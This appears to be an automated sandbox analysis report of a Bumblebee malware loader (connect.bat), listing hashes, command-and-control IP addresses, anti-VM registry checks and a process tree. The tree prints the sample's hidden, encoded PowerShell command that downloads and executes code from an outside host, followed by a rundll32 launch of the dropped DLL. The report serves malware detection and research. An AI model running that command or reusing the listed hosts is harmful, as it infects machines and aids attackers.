bumblebee | 81000ce700ba04ce8395d0e909d639a88b27e826fef40bfc173fab686a0bc362

Analysis

max time kernel
145s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
19-09-2022 16:22

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General

Target

connect.bat
Size

1KB
MD5

f6dfe4999a57ada167f090d6dc982837
SHA1

e0577a468c99c77989a4c8f3da3a8e7c3a3860c6
SHA256

81000ce700ba04ce8395d0e909d639a88b27e826fef40bfc173fab686a0bc362
SHA512

11f7c3f6135c20e8c37ee289ee21009820775921b6e37f219e0c178ff0522168887c48683d88bd1e48b8bd30514a5e52ebd603b40f96d90a42046dfaeb4f3e16

Score

10^/10

bumblebee 1909 evasion trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://meeronixt.com/gate

Extracted

Family

bumblebee

Botnet

1909

108.177.235.29:443

23.106.160.117:443

23.106.215.133:443

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Enumerates VirtualBox registry keys 2 TTPs 5 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	rundll32.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	rundll32.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	rundll32.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	4104	powershell.exe
18	4104	powershell.exe
21	4104	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	rundll32.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Wine	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
3468	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3468	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4104	powershell.exe
4104	powershell.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe
3468	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4104	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1360 wrote to memory of 4104	1360	cmd.exe	85
PID 1360 wrote to memory of 4104	1360	cmd.exe	85
PID 4104 wrote to memory of 3468	4104	powershell.exe	89
PID 4104 wrote to memory of 3468	4104	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\connect.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgBvAG4AaQB4AHQALgBjAG8AbQAvAGcAYQB0AGUAIgApAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\MTaNmCi.bin,CreateTask
    3⤵
    - Enumerates VirtualBox registry keys
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Checks BIOS information in registry
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:3468

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\MTaNmCi.bin

Filesize
3.6MB

MD5
72a942b76951bdd2922350a1ecc8c65e

SHA1
02c7a4335db9f63c6aee53abfd0b0e1f05ff1ef9

SHA256
36558e690578227718c5ca936b4787ca5dbae3ef2d9dac1c496069d098ab28c8

SHA512
8ce13bf8c08b1cdebff8e7cf389871d671e7e4d1eb501ac639672df0f835c0a5e853bfabf030711950e2c275514dca1316a7bdd399fefddf153d3d54142f9a20

Download Submit
C:\Users\Admin\AppData\Local\MTaNmCi.bin

Filesize
3.6MB

MD5
72a942b76951bdd2922350a1ecc8c65e

SHA1
02c7a4335db9f63c6aee53abfd0b0e1f05ff1ef9

SHA256
36558e690578227718c5ca936b4787ca5dbae3ef2d9dac1c496069d098ab28c8

SHA512
8ce13bf8c08b1cdebff8e7cf389871d671e7e4d1eb501ac639672df0f835c0a5e853bfabf030711950e2c275514dca1316a7bdd399fefddf153d3d54142f9a20

Download Submit
memory/3468-139-0x0000027C16490000-0x0000027C165EF000-memory.dmp

Filesize
1.4MB

Download
memory/4104-133-0x0000026021D70000-0x0000026021D92000-memory.dmp

Filesize
136KB

Download
memory/4104-134-0x00007FF8F8A50000-0x00007FF8F9511000-memory.dmp

Filesize
10.8MB

Download
memory/4104-138-0x00007FF8F8A50000-0x00007FF8F9511000-memory.dmp

Filesize
10.8MB

Download